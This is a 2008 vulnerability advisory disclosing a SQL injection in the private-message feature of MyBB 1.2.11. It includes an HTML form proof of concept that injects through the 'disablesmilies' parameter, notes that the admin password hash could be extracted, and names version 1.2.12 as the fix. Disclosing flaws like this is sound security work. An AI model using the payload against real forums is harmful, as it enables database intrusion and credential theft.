[waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11




[waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11
===============================================================================

Author: Janek Vind "waraxe"
Date: 21. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-64.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. SQL Injection in "private.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Preconditions:
===============
a) attacker must have logged in as registered user
b) private message system must be enabled

Caused by:
===============
Parameter "disablesmilies" is not sanitized properly before being used in
INSERT sql query.

Explanation:
===============

Let's try this little piece of html code as proof-of-concept:

[--------------- PoC start -------------------------------------------------]
<html><body><center>
<form action="http://localhost/mybb.1.2.11/private.php"; method="post">
<input type="hidden" name="action" value="do_send">
<input type="hidden" name="subject" value="f00subject">
<input type="hidden" name="message" value="f00message">
<input type="hidden" name="to" value="waraxe">
<input type="hidden" name="options[disablesmilies]" value="',waraxe,'">
<input type="submit" value="Test!">
</form>
</center></body></html>
[------------- PoC end ----------------------------------------------------]

NB! Parameter "to" must be valid username!

As result of test we can see sql error message:

MySQL error: 1136
Column count doesn't match value count at row 1
Query: INSERT INTO mybb_privatemessages (uid, toid, fromid, folder, subject,
icon, message, dateline, status, includesig, smilieoff, receipt, readtime)
VALUES ('1', '1', '1', '1', 'f00subject', '0', 'f00message', '1200579555',
'0', 'no', '',waraxe,'', '0', '0')

So sql injection security hole exists in INSERT query and in case of mysql
version >= 4.1 by using subselects attacker can fetch arbitrary data from
database, including admin password hash.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download new MyBB version 1.2.12

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, str0ke
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@xxxxxxxxx
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------



Relevant Pages

  • Re: Trouble with $_POST data
    ... I am trying to send data from a form and insert it into a MSSQL DB. ... If I don't use the POST data and write the query explicitly, ... Sorry, I agree with Rami. ... Obviously from his question the op was not aware of the possibilities of SQL injection. ...
    (comp.lang.php)
  • Re: submitted data not updated promptly with ms access
    ... therefore, before writing to the database, i ... using sql injection ... Using an expensive recordset to run a query that does not retrieve ... is what I suspect you want to do, although I don't really know why you wish ...
    (microsoft.public.inetserver.asp.db)
  • Re: Trouble with $_POST data
    ... I am trying to send data from a form and insert it into a MSSQL DB. ... If I don't use the POST data and write the query explicitly, ... $Query = sprintf('INSERT INTO users (username, emailaddress) ... Obviously from his question the op was not aware of the possibilities of SQL injection. ...
    (comp.lang.php)
  • Re: Trouble with $_POST data
    ... I am trying to send data from a form and insert it into a MSSQL DB. ... If I don't use the POST data and write the query explicitly, ... Sorry, I agree with Rami. ... Obviously from his question the op was not aware of the possibilities of SQL injection. ...
    (comp.lang.php)
  • Blaze Apps Multiple Vulnerabilities
    ... The exact place of injection bug is at lines 67 and 69. ... In query creating phase, ... escape everything correctly. ... This vulenarability can be used for extracting admin password by Blind SQL Injection. ...
    (Bugtraq)